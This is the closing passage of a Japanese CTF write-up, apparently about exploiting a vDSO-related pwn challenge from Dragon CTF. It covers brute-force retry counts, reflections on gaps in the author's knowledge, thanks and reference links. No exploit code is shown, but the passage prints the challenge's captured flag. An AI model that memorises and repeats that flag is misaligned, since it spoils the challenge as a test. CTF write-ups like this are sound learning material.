vDSOがそもそもにpwn可能な位置に来るまでのリトライが475回、そのあとのmmap()での調整が1994回。うーん、これリモートだとだいぶきつそうだな。しかもCTF終わったから低速サーバに切り替わっていて、実際にリモートで試すのはしんどそう。まぁリモートと環境全く一緒にしてるからこれで終わりでいいよね、いいよ。

 

 

と思ったら、まぁフラグ取れた。

f:id:smallkirby:20201125080036p:plain

DrgnS{H0p3_y0u_d1dn7_jUsT_brUt3_y0ur_sOlu710n}

317秒。まぁ、いいか。

 

 

 

 

7: アウトロ

解けなかった人間が言うのもなんですが、タネがわかってしまえばものすごくシンプルな問題です。それでも解ききれなかったのは、やはり知識に曖昧な点があったからに他ならないと思うので、今ここで総復習する機会ができたのは良かったと思います。

こんなん基礎の基礎だろって記事を読みながら思ったプロpwnerもいるかもしれませんが、この辺のことを100%理解しているのならばこの問題は瞬殺できるはずなので、この問題をリアルタイムで解けた1チームの誰かを除いて反省してください。嘘です。ごめんなさい。

 

まぁ、曖昧な知識はいつか必ずボロが出るはずなので、ちゃんとどこかで固めておくのは大事だなぁと思いました。 うさぎ。

 

 

 

 

ちなみに、このDragonCTFと同期間に大阪大学のサークル主催の Wani CTF というものがあり、なんかTLに流れてきたのでpwnだけ全部解いておきました。手応えの有る問題や目新しい問題は一つもありませんでしたが、SECCON beginnersの1問目みたいな親切な問題が沢山あり、どっかのTSGみたいに初心者向けと煽っていくスタイルとは違って良いサークルだなぁと思いました。嘘です。TSGも良いサークルです。嘘です。

f:id:smallkirby:20201125053759j:plain

わにわにぱにっく!!!

名前は、その時頭に浮かんだことを理性というフィルターに一切かけることなく素通りさせた時に出力された文字列です。

 

 

 

8: SpecialThanks

Dragon Sector. 無知を認めて学び直すきっかけをありがとうございます。

moraさん. わからないことをいつも教えてくれて凄く感謝してます:bow:

 

 

 

 

 

0: 参考

A: Intelのマニュアル

https://software.intel.com/content/www/us/en/develop/download/intel-64-and-ia-32-architectures-sdm-combined-volumes-1-2a-2b-2c-2d-3a-3b-3c-3d-and-4.html

B: Linux Internal

https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-3.html

C: SUSE labのスライド

https://events.static.linuxfound.org/sites/events/files/slides/entry-lce.pdf

D: LWN.net

https://lwn.net/Articles/446528/

E: Qiitaの記事

https://qiita.com/saikoro-steak/items/3067ca6ec02fdcde2109

F: ニルギリ

https://youtu.be/yvUvamhYPHw

 

 

 

 

 

続く...